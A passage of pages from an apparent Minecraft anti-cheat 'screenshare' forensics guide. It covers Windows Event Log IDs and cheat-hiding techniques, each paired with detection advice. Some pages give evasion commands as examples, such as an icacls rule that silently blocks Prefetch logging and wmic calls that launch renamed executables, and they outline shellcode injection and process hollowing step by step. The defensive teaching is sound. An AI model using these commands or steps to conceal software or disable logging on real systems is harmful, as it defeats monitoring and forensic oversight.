changes. * **Security:** Records security-related events based on the system's audit policy. This includes logon/logoff attempts, account management, policy changes, and, critically, **log clearing events**. Accessing this log requires administrative privileges. * **Application:** Contains events logged by installed applications (non-OS specific). Application crashes and errors are often recorded here. * **Setup:** Records events related to the installation of software and Windows updates. * **Applications and Services Logs:** A broader category containing numerous specific logs for individual Windows features or applications (e.g., `Microsoft-Windows-TaskScheduler/Operational`, `Microsoft-Windows-PowerShell/Operational`, `Microsoft-Windows-Ntfs/Operational`). The entire logging system is dependent on the **Windows Event Log service (**`**eventlog**`**)**. If this service is stopped, no new events will be recorded. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs#stored-metadata-and-key-event-ids) Stored Metadata and Key Event IDs Each event log entry is a structured record containing valuable metadata, including: * **Event ID:** A unique number that identifies the specific type of event. * **Timestamp:** A high-precision timestamp indicating when the event was logged. * **Source:** The name of the software or component that generated the event. * **Level:** The severity of the event (e.g., Information, Warning, Error, Critical). * **User:** The user account associated with the event. * **Event Data:** A detailed, often XML-formatted description of the event, containing specific information like process names, file paths, or error codes. While there are thousands of Event IDs, certain ones are of paramount importance in forensic investigations: * **Event ID 4624 (Security):** Successful user logon. * **Event ID 4616 (Security):** System time was changed. * **Event ID 1102 (Security):** The Security audit log was cleared. **This is a major indicator of anti-forensic activity.** * **Event ID 104 (System):** A log file (other than Security) was cleared. * **Event ID 7036 (System):** A service entered the running or stopped state (e.g., the `SysMain` or `eventlog` service). * **Event ID 3079 (Application):** The USN Journal was deleted, often by `fsutil.exe`. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs#forensic-value) Forensic Value Event Logs provide a trusted, system-generated record of activities that is difficult for a typical user to manipulate without leaving traces. * **Detecting Anti-Forensic Activities:** This is one of their most critical roles. Event logs explicitly record the clearing of other logs (IDs 1102, 104), the deletion of the USN Journal (ID 3079), and changes to the system time (ID 4616). These actions are direct evidence of an attempt to cover tracks. * **Tracking System and Service Manipulation:** Logs provide a timeline of when critical services (like `SysMain` for Prefetching) were stopped and started, which can be correlated with the execution of malicious software. * **Auditing User Activity:** Logon and logoff events help establish a timeline of when a user was active on the system. * **Corroborating Evidence:** An event in the log can provide the crucial context for another piece of evidence. For example, a Prefetch file for `cmd.exe` can be correlated with an Event ID 4616 showing that `cmd.exe` was the process that initiated a system time change. Analysis is typically performed using the built-in **Event Viewer (**`**eventvwr.msc**`**)**, which allows for filtering and searching. For large-scale analysis, command-line tools like `wevtutil.exe` or specialized parsers like Eric Zimmerman's `EvtxECmd` are used. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, Event Logs are the ultimate arbiter of truth for system-level bypasses. They provide undeniable proof of tampering. * **The Tattletale Logs:** Event Logs are designed to report on their own manipulation. Finding **Event ID 1102** (Security log cleared) or **Event ID 104** (other logs cleared) is a "smoking gun" that proves the player intentionally tried to wipe their activity history. * **Catching the Journal Deleter:** The **Event ID 3079** is a direct and conclusive piece of evidence. If a player deletes their USN Journal to hide file deletions or replacements, this event will be logged, turning a sophisticated bypass attempt into a simple, bannable offense. * **Exposing Service Tampering:** A common bypass is to stop the `SysMain` service to prevent Prefetch logging. An SSer can check the System log for **Event ID 7036** from the "Service Control Manager" source to see the exact time the `SysMain` service was stopped, proving the manipulation. * **Proving Time Manipulation:** A player might change their system time to try and confuse timestamp-based analysis. **Event ID 4616** not only records that the time was changed but often logs _which process_ initiated the change. A time change made by `cmd.exe` is a clear indication of manual user action. [Previoususb-drive](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/usb-drive) [NextRedLotus Tools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs#location-and-structure) * [Stored Metadata and Key Event IDs](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs#stored-metadata-and-key-event-ids) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs#forensic-value) --- # Spoofed Extensions | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/1-spoofed-extensions.md) . * **Description:** This common and relatively simple technique involves disguising an executable file (typically `.exe`, but could also apply to scripts like `.bat` or `.ps1`) by **changing its file extension** to something seemingly innocuous or unrelated. For example, `SuperClicker.exe` might be renamed to `important_notes.txt`, `config.dll`, `logo.png`, `tempdata.tmp`, or even just `mydata` (no extension). * **Mechanism:** The bypass relies on the fact that while double-clicking a file typically relies on its extension for execution, Windows offers alternative methods to launch processes that do _not_ solely depend on the `.exe` extension. Common methods include: * Using PowerShell commands like `Start-Process C:\path\to\renamed_file.tmp`. * Using specific Windows Management Instrumentation (WMI) commands, particularly `wmic process call create "C:\path\to\renamed_file.dat"`. * Utilizing scheduled tasks or other scripting methods that specify the exact file to run, regardless of extension. * **Why Cheaters Use It:** The goal is to evade simple visual scans and automated tools that might primarily flag or search for standard executable extensions like `.exe`. A file named `graphics.dll` or `image.png` is less likely to draw immediate suspicion than `MegaAimAssist.exe`. * **Detection:** * **Prefetch Analysis:** As mentioned previously, Prefetch often still logs the execution but under the _spoofed_ name (e.g., `LOGO.PNG-HASH.pf`). Finding non-`.exe` files in Prefetch is a major red flag. * **Process Memory Analysis:** Tools like System Informer, when used to search service memory (especially `csrss.exe`, `dps`), can reveal the full paths of executed files, including those with spoofed extensions, using appropriate regex patterns (e.g., `^!![A-Z]((?!Exe).)*$` in DPS, or broad path searches in `csrss`). * **Signature/Content Analysis:** Running signature checks (like BACA's Signature Checker script) on _all_ suspicious files found (regardless of extension) can identify executables masquerading as other file types (they'll show as "NotSigned" or "HashMismatch" if a fake signature was attempted). Tools like `Detect It Easy` or searching file content for PE headers (`content:"This program cannot be run in DOS mode."`) in Search Everything can also expose disguised executables. * **Execution Logs:** BAM, Activities Cache, and sometimes Event Logs might record the execution under the spoofed name. [PreviousConcealment and Obfuscation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation) [NextUnicode Characters in File Names/Paths](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/2-unicode-characters-in-file-namespaths) Last updated 1 year ago --- # Unicode Characters in File Names/Paths | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/2-unicode-characters-in-file-namespaths.md) . * **Description:** This technique involves using non-standard characters, specifically Unicode characters, within file or directory names. This can include: * Characters from different alphabets/scripts (e.g., Cyrillic, Chinese, Arabic, Georgian). * Visually similar characters (homoglyphs) that look like standard ASCII characters but are different (e.g., a Cyrillic 'а' instead of a Latin 'a'). * Invisible or zero-width characters embedded within filenames. * **Mechanism:** The bypass works by exploiting limitations or inconsistencies in how different tools, applications, or even the OS itself render, handle, or search for these non-standard characters. * Filenames might render incorrectly or as blank spaces/question marks in some tools or command prompts. * Searching for the file using standard keyboard input becomes difficult or impossible. * String filters in memory analysis tools (like System Informer) might fail to match if they don't correctly handle the specific Unicode encoding or if the searched string doesn't exactly match the Unicode sequence. * Visually deceptive names can trick ScreenSharers during manual folder inspection. * **Why Cheaters Use It:** The primary goal is **obfuscation and hindering detection**. It makes files harder to find, identify, and analyze using standard methods and tools, effectively hiding cheats in plain sight or within complex, hard-to-navigate directory structures. * **Detection:** * **Search Everything (Regex):** Use regex patterns designed to find non-standard characters, such as `regex:[^\x00-\x7F]` (finds non-ASCII) or more specific patterns targeting certain character ranges. Rancio's "Unicode Detector" tool is specifically designed for this. * **Visual Inspection:** Be vigilant for filenames that look slightly "off," contain unusual symbols, or have inconsistent spacing. * **Tool Output:** Pay attention to how different tools render filenames. Question marks or rendering errors can be indicative. * **Advanced Parsing Tools:** Tools like MFTECmd or INDXRipper, which parse filesystem metadata directly, may handle Unicode paths more reliably than tools relying on standard OS APIs. [PreviousSpoofed Extensions](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/1-spoofed-extensions) [NextAlternate Data Streams (ADS)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/concealment-and-obfuscation/3-alternate-data-streams) Last updated 1 year ago --- # Environment and Hardware Bypasses | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses.md) . Attackers may go beyond software manipulation and attempt to leverage the hardware environment or external systems to evade detection during screenshares. These techniques often aim to hide files in locations inaccessible to standard analysis or obscure the true nature of the operating environment. [PreviousUnsigned / Fake Digital Signatures](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fake-digital-signatures) [NextExternal USB Drives (FAT32 vs. NTFS):](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/external-usb-drives) Last updated 1 year ago --- # Using cacls (or similar) for Permission Changes | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification/using-cacls-for-permission-changes.md) . * **Description:** This involves using command-line utilities to directly modify the Access Control Lists (ACLs) – the permissions – associated with files or folders. While `cacls` is an older command, the more modern and powerful `icacls` serves the same purpose, alongside PowerShell cmdlets like `Get-Acl` and `Set-Acl`. * **Mechanism:** Bypassers execute specific commands to grant or (more commonly) deny permissions for certain users or system accounts on target objects. * _Classic Example (Prefetch Bypass):_ A well-known technique involves modifying the permissions of the `**C:\Windows\Prefetch**` folder. By using `icacls` to **deny write permissions** for the `SYSTEM` account or specific service accounts (like SysMain), the bypasser prevents the operating system from creating new `.pf` files or updating existing ones. The folder remains visible, but the logging mechanism is silently broken. Commands might look like: `icacls C:\Windows\Prefetch /deny SYSTEM:(WD)` (Deny Write Data) or similar variations. * _Hiding Folders:_ Denying the ScreenSharer's user account (or the `Users` group) "List folder contents" or "Read" permissions on a specific folder can effectively hide it from them in File Explorer, even if hidden files are set to be shown. * **Why Cheaters Use It:** To selectively disable logging artifacts (like Prefetch) without stopping the underlying service, or to hide folders containing cheats/tools from direct browsing during the screenshare. * **Detection:** * **Check Security Settings:** Manually inspect the permissions of suspect folders (especially `C:\Windows\Prefetch`) or files. Right-click -> Properties -> Security tab -> Advanced. Look for explicit "Deny" entries, missing expected permissions (like SYSTEM write access on Prefetch), or unusual ownership. * **USN Journal (**`**$UsnJrnl**`**):** Changes to file or folder permissions trigger a `**SECURITY_CHANGE**` event in the USN Journal, logged against the path of the modified object. Finding recent `SECURITY_CHANGE` events for critical artifact locations like `C:\Windows\Prefetch` is highly indicative of tampering. * **Command Logs:** Look for execution of `icacls.exe`, `cacls.exe`, or relevant PowerShell commands (`Set-Acl`) in Prefetch, BAM, or command history logs. [PreviousPermission and Inheritance Modification](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification) [NextDisabling Registry/Folder Inheritance](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/permission-and-inheritance-modification/disabling-registryfolder-inheritance) Last updated 1 year ago --- # External USB Drives (FAT32 vs. NTFS): | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/external-usb-drives.md) . * **Description:** Cheats, injectors, scripts, or related tools can be stored on and executed directly from external USB flash drives or external hard drives. The choice of file system on the external drive significantly impacts the forensic traces left behind. * **Mechanism & Evasion (FAT32 vs. NTFS):** * **NTFS:** The standard, modern file system for Windows internal drives, also usable on external drives. Crucially, NTFS volumes maintain detailed logs of file system activity, including the **USN Journal (**`**$UsnJrnl**`**)** which records file creations, deletions, renames, and modifications, and often the **$LogFile** for metadata changes. Analyzing these logs on an NTFS-formatted USB drive can reveal evidence of recent file manipulation, even if the cheat file itself was deleted. * **FAT32 (and exFAT):** Older file systems commonly used for USB drives due to broader compatibility. Critically, FAT32 and exFAT **do NOT possess a journaling system comparable to NTFS's** `**$UsnJrnl**` **or** `**$LogFile**`. This lack of detailed, built-in logging makes tracking file operations much harder. A user could delete a cheat file from a FAT32 drive moments before or during a screenshare, leaving significantly fewer traces within the filesystem's own metadata compared to an identical action on an NTFS drive. While Prefetch or BAM might still log the execution _if the cheat ran from the USB drive_, proving the _deletion_ from the FAT32 drive relies more heavily on file recovery tools or external logs. * **Detection Considerations:** * **Identify Connected Devices:** Use tools like **USBDeview (Nirsoft)**, Echo's USB tool, or check relevant **Event Logs** (Kernel-PnP) and **Registry keys** (USBSTOR) to identify currently and previously connected USB storage devices. Look for devices connected/disconnected shortly before the screenshare. * **Check File System:** If the USB drive is present during the screenshare, check its file system type (Properties in File Explorer or Disk Management). If it's FAT32/exFAT and suspected of hosting cheats, be aware that Journal analysis is not possible. * **Analyze Drive Contents (If Present):** Scan the drive using standard techniques (Search Everything, manual inspection). * **File Recovery (FAT32/exFAT Focus):** Since journaling is absent, tools like **Recuva** or the filesystem browser in **FTK Imager** become more important for attempting to find evidence of _deleted_ files on FAT32/exFAT drives. * **Execution Logs:** Check Prefetch, BAM, etc., for executions originating from the USB drive's letter/path. [PreviousEnvironment and Hardware Bypasses](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses) [NextVirtual Machines (VMs):](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/virtual-machines) Last updated 1 year ago --- # Forensic Implications | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/forensic-implications.md) . Investigating script-based bypasses requires analyzing various artifacts. Key areas include: * **Script Files:** Locating the actual script files (`.ps1`, `.bat`, `.vbs`, `.py`, `.au3`, `.hta`) on disk. Check common locations like Temp folders, user profiles, or download directories. * **Execution Logs:** * _PowerShell:_ Check Event Logs (especially Windows PowerShell operational log, Event IDs 400, 403, 800, 4103, 4104 for script block logging if enabled), PSReadline history file (`ConsoleHost_history.txt`). * _CMD/Batch:_ Prefetch entries for `cmd.exe`, potentially parent/child process relationships in security event logs (4688). * _VBS/JScript:_ Prefetch for `wscript.exe` or `cscript.exe`, event logs. * _HTA:_ Prefetch for `mshta.exe`, browser download history, file system artifacts. * _Python/AutoIt:_ Prefetch for `python.exe` or `AutoIt3.exe`, installation paths, associated script files. * **Memory Analysis:** Strings within the interpreter processes (`powershell.exe`, `cmd.exe`, etc.) might contain script content or commands. * **Registry:** Evidence of persistence mechanisms set up by scripts (e.g., Run keys, scheduled tasks). Detection efforts often focus on monitoring script execution, analyzing script content (especially for obfuscation or suspicious API calls), and examining logs from scripting engines or related system events. [PreviousMechanisms of Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/mechanisms-of-evasion) [NextFileless Malware and Living-off-the-Land Binaries (LOLBins)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries) Last updated 1 year ago --- # Unsigned / Fake Digital Signatures | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fake-digital-signatures.md) . * **Description:** Digital signatures are cryptographic mechanisms used to verify the authenticity and integrity of files. Legitimate software vendors sign their executables (`.exe`) and libraries (`.dll`) with code-signing certificates issued by trusted Certificate Authorities (CAs). This confirms the publisher's identity and ensures the file hasn't been tampered with since signing. Bypassers may attempt to leverage or mimic signatures to evade security checks or make malicious files appear legitimate. * **Evasion Techniques:** * _Using Stolen Certificates:_ Attackers acquire legitimate code-signing certificates illicitly (e.g., through company breaches) and use them to sign malware, making it appear trusted initially. * _Creating Fake/Self-Signed Certificates:_ Generating signatures using certificates they created themselves or that are issued by untrusted/fake CAs. Operating systems and validation tools will not trust these signatures. * _Modifying Signed Files:_ Tampering with the content of a legitimately signed file (e.g., via hex editing) will **invalidate** the existing signature. Signature verification tools will detect this alteration. * _Version Info Spoofing:_ Compiling malware with version information copied from legitimate software to make its properties look convincing, even if it's unsigned or uses a fake signature. * **Why Cheaters Use It:** To try and bypass automated SS tools or manual checks that might whitelist signed files or primarily flag unsigned files. A (fake) signature might lend an initial appearance of legitimacy. * **Detection:** The key is not just checking _if_ a signature exists, but verifying its **validity and trustworthiness**. * **Signature Verification Tools:** Use tools that perform proper Authenticode signature validation against the system's trusted root CAs. This includes: * **PowerShell:** `Get-AuthenticodeSignature C:\path\to\file.exe` cmdlet. Check the `Status` property (should be `Valid` for trusted signatures). Statuses like `NotSigned`, `HashMismatch` (tampered after signing), or `UnknownError`/`UntrustedRoot` indicate issues. * **BACA's Signature Checker Script:** This PowerShell script (mentioned previously) automates checking multiple files and clearly reports the status (Valid, NotSigned, HashMismatch, NotTrusted). * **Spokwn's Paths-Parser:** This tool integrates signature checks (Authenticode and Catalog) alongside other analyses like generics and replacement checks, providing a comprehensive status report for lists of files. It specifically notes known signed cheats like Slinky and Vape. * **Manual Check (File Properties):** Right-click file -> Properties -> Digital Signatures tab. Select the signature and click "Details". Check the "Digital Signature Information" status (should say "This digital signature is OK") and view the certificate details (check the issuer and certificate path). * **Focus on "NotSigned" and Errors:** During screenshares, pay closest attention to files reported as `NotSigned` or having signature errors (`HashMismatch`, `UntrustedRoot`, `UnknownError`) by verification tools, especially executables or DLLs found in suspicious locations or via execution artifacts. While not all unsigned files are malicious, unsigned code loaded by or interacting with the game is highly suspect. [PreviousProcess Hollowing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/process-hollowing) [NextEnvironment and Hardware Bypasses](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses) Last updated 1 year ago --- # Artifact and System Manipulation | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation.md) . Beyond simply hiding files, bypassers may actively manipulate system artifacts, settings, or running processes to erase traces of their activity, prevent logging, or hinder the ScreenSharer's investigation. This category covers techniques that alter the system's state or its records to mislead analysis. [PreviousSteganography](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/steganography) [NextTimestamp Manipulation (Timestomping)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/timestamp-manipulation) Last updated 1 year ago --- # Recycle Bin Clearing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/recycle-bin-clearing.md) . * **Description:** This involves emptying the Recycle Bin, which permanently removes the files previously sent there via standard deletion methods. * **Mechanism:** * Right-clicking the Recycle Bin icon -> "Empty Recycle Bin". * Using disk cleanup utilities that include Recycle Bin cleaning. * **Why Cheaters Use It:** To permanently remove any potentially suspicious files they might have deleted normally just before the screenshare, ensuring they aren't easily recoverable from the bin. * **Detection:** While the deleted files themselves are gone (barring file recovery techniques), the act of emptying the bin leaves a trace: * `**$Recycle.bin**` **Folder Timestamp:** Check the **Date Modified timestamp** of the hidden system folder `$Recycle.bin` located at the root of the relevant drive (e.g., `C:\$Recycle.bin`). If this timestamp is very recent (e.g., minutes before the screenshare started), it indicates that the bin was interacted with recently, most likely by emptying it or potentially restoring a file from it. Remember to enable viewing of hidden and protected system files to see this folder. [PreviousEvent Log Clearing/Manipulation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/event-log-clearingmanipulation) [NextFile Replacement (Replace Method)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/file-replacement) Last updated 1 year ago --- # Shellcode Injection | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/shellcode-injection.md) . * **Overview:** _Shellcode_ typically refers to a small, self-contained piece of machine code (binary instructions) designed to be injected into another process's memory and executed. It's often position-independent, meaning it can run correctly regardless of where it's placed in memory. Originally named for its common use in exploits to spawn a command shell (`cmd.exe`), the term now broadly covers any payload injected this way, such as code to download and run malware, establish a reverse connection, or, in a cheating context, directly manipulate game functions or data. _Shellcode injection_ is the process of placing this code into a target process and triggering its execution. * **Mechanism of Evasion:** The process generally involves an injector (which could be a standalone `.exe` or another compromised process) performing the following steps: 1. _Target Process Acquisition:_ Obtain a handle to the target process (e.g., the game's `javaw.exe`) using `OpenProcess` with sufficient permissions (like `PROCESS_VM_OPERATION`, `PROCESS_VM_WRITE`, `PROCESS_CREATE_THREAD`). 2. _Memory Allocation:_ Allocate a region of memory within the target process's virtual address space using `VirtualAllocEx`. This region must be granted execute permissions (e.g., `PAGE_EXECUTE_READWRITE`). 3. _Shellcode Writing:_ Copy the shellcode from the injector's memory into the newly allocated region within the target process using `WriteProcessMemory`. 4. _Execution Trigger:_ Cause the CPU to begin executing the injected shellcode. Common methods include: * `CreateRemoteThread`: Starts a new thread within the target process, with its starting address set to the beginning of the injected shellcode. (Classic method). * Thread Hijacking: Suspend an existing thread in the target (`SuspendThread`), modify its instruction pointer (via `GetThreadContext`/`SetThreadContext`) to point to the shellcode, and then resume the thread (`ResumeThread`). * Asynchronous Procedure Calls (APCs): Queue an APC (`QueueUserAPC`) to a target thread. The shellcode executes when the thread enters an alertable wait state. * Other methods involving callbacks or hooking mechanisms. * **Why Cheaters Use It:** * _Fileless Payload Delivery:_ The shellcode itself executes directly from memory, often without requiring a corresponding malicious file (.exe or .dll) to be present on the disk at the time of execution (though the shellcode _might_ download/drop such files later). This evades file-based AV scans and simple artifact checks. * _Stealth:_ Running within the context of a legitimate (or the game's) process helps hide the malicious activity from basic process lists and monitoring tools. * _Flexibility:_ Shellcode can be relatively small and designed to perform a specific initial action, like setting up communication or loading a larger second-stage payload reflectively. * **Detection:** Detecting shellcode injection relies heavily on memory analysis and behavioral monitoring: * **Memory Analysis (Volatility/System Informer):** Use tools like Volatility's `malfind` or manually inspect process memory (via System Informer) for executable memory regions (`PAGE_EXECUTE_READWRITE`) that are not backed by legitimate files on disk (`Private` memory) and contain suspicious machine code patterns. Shellcode often has high entropy and might lack typical PE headers if it's raw code. * **YARA Scanning:** Scan process memory using YARA rules designed to detect common shellcode patterns, packer stubs, or specific byte sequences associated with known malicious payloads. * **API Monitoring (ProcMon):** Look for the characteristic API call sequences used for injection: `OpenProcess` -> `VirtualAllocEx` -> `WriteProcessMemory` -> `CreateRemoteThread` (or thread hijacking APIs) originating from an unexpected process and targeting the game process. * **Kernel Live Dump:** The injector process or script used to initiate the shellcode injection might leave traces of commands, paths, or API call artifacts in the kernel dump. [PreviousCOM Hijacking](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/com-hijacking) [NextPowershell Remoting](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/powershell-remoting) Last updated 1 year ago --- # Process Hollowing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/process-hollowing.md) . * **Overview:** Process Hollowing is a specific and relatively sophisticated code injection technique used to hide malicious code _inside_ the virtual address space of a legitimate process, making it appear as though only the legitimate process is running. * **Mechanism:** 1. _Create Suspended Process:_ The attacker starts a new instance of a legitimate, trusted Windows process (e.g., `svchost.exe`, `explorer.exe`, `notepad.exe`) but creates it in a **suspended state** using the `CREATE_SUSPENDED` flag with `CreateProcess`. 2. _Unmap Legitimate Code:_ The memory region containing the original, legitimate code of the suspended process is then forcibly **unmapped** or deallocated using functions like `NtUnmapViewOfSection` or `ZwUnmapViewOfSection`. This "hollows out" the process's address space. 3. _Allocate New Memory:_ New memory is allocated within the now-empty address space of the hollowed process using `VirtualAllocEx`. 4. _Inject Malicious Code:_ The attacker's malicious code (which must be a full PE executable, often packed) is written into this newly allocated memory region using `WriteProcessMemory`. 5. _Redirect Execution:_ The execution context of the primary thread of the suspended process is modified (using `GetThreadContext` and `SetThreadContext`) so that its instruction pointer (e.g., RIP/EIP register) points to the entry point of the injected malicious code instead of the original process's entry point. 6. _Resume Process:_ The suspended process is finally resumed using `ResumeThread`. It now begins executing the malicious code, but from the operating system's perspective (and in tools like Task Manager), it still appears to be the original legitimate process (e.g., `svchost.exe`). * **Why Cheaters Use It:** Primarily for **stealth and evasion**. It effectively masks the presence of the malicious executable (the cheat) by running it under the identity of a trusted system process. This can bypass process whitelisting, simple process monitoring, and make the cheat harder to spot in a running process list. * **Detection:** Detecting process hollowing typically requires memory analysis or advanced behavioral monitoring: _**Note:**_ _To make a Process Hollow you need an executable file that hollows another. Obviously, the easiest way to prove a process hollow is to prove that an exe serving as a hollower has been started. If that exe was started via Fileless Injection, then proving it via the detect method of fileless injection is the way_ * **Memory Analysis (Volatility):** Plugins like `hollowfind` are specifically designed to detect common indicators of process hollowing, such as discrepancies between the process listed in the PEB (Process Environment Block) and the actual code found in memory, or identifying processes with unmapped executable sections. `malfind` might also flag the injected code region. * **Process Memory Inspection (System Informer):** Compare the process path listed in System Informer with the actual modules and memory content. Finding executable code in private memory regions that doesn't correspond to the legitimate modules of the host process is indicative. The absence of the original process's main module in the loaded modules list might also be a clue. * **Prefetch Anomaly:** As mentioned previously, sometimes process hollowing can result in the Prefetch entry for the host process having an empty or missing "Executable Path" field in tools like WinPrefetchView. * **Kernel Live Dump:** Analyzing strings in a kernel dump might reveal traces left by the tool or script used to _perform_ the hollowing process itself (e.g., API calls related to process creation, unmapping, and context modification). Specifically searching the dump keywords present in commands, has been noted as potentially correlating with certain hollowing tools or techniques. [PreviousSuspicious DLLs and DLL Injection Techniques](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/suspicious-dlls-and-dll-injection-techniques) [NextUnsigned / Fake Digital Signatures](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fake-digital-signatures) Last updated 1 year ago --- # Forge Mod Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft/forge-mod-analysis.md) . This comprehensive process details how to meticulously examine Forge mods (`.jar` files found in the `mods` folder) for potential cheats or modifications. **Phase 1: Preparation and Locating the Correct** `**mods**` **Folder** Accuracy begins with proper setup and precise identification of the target folder. * _Ensure Hidden Files Visible:_ Before starting, confirm that Windows File Explorer is configured to show hidden files, folders, and protected operating system files. The `mods` folder itself, or files within it, might be intentionally hidden. * _Locate the_ _**Active**_ `_.minecraft_` _Folder:_ As emphasized previously, **do not assume the default path**. Use either the **In-Game Method** (Options > Resource Packs > Open Pack Folder > Go Up One Level) or the **System Informer String Search Method** (search `javaw.exe` memory for `\mods`) to definitively identify the correct root game directory and the corresponding `mods` subfolder being used by the 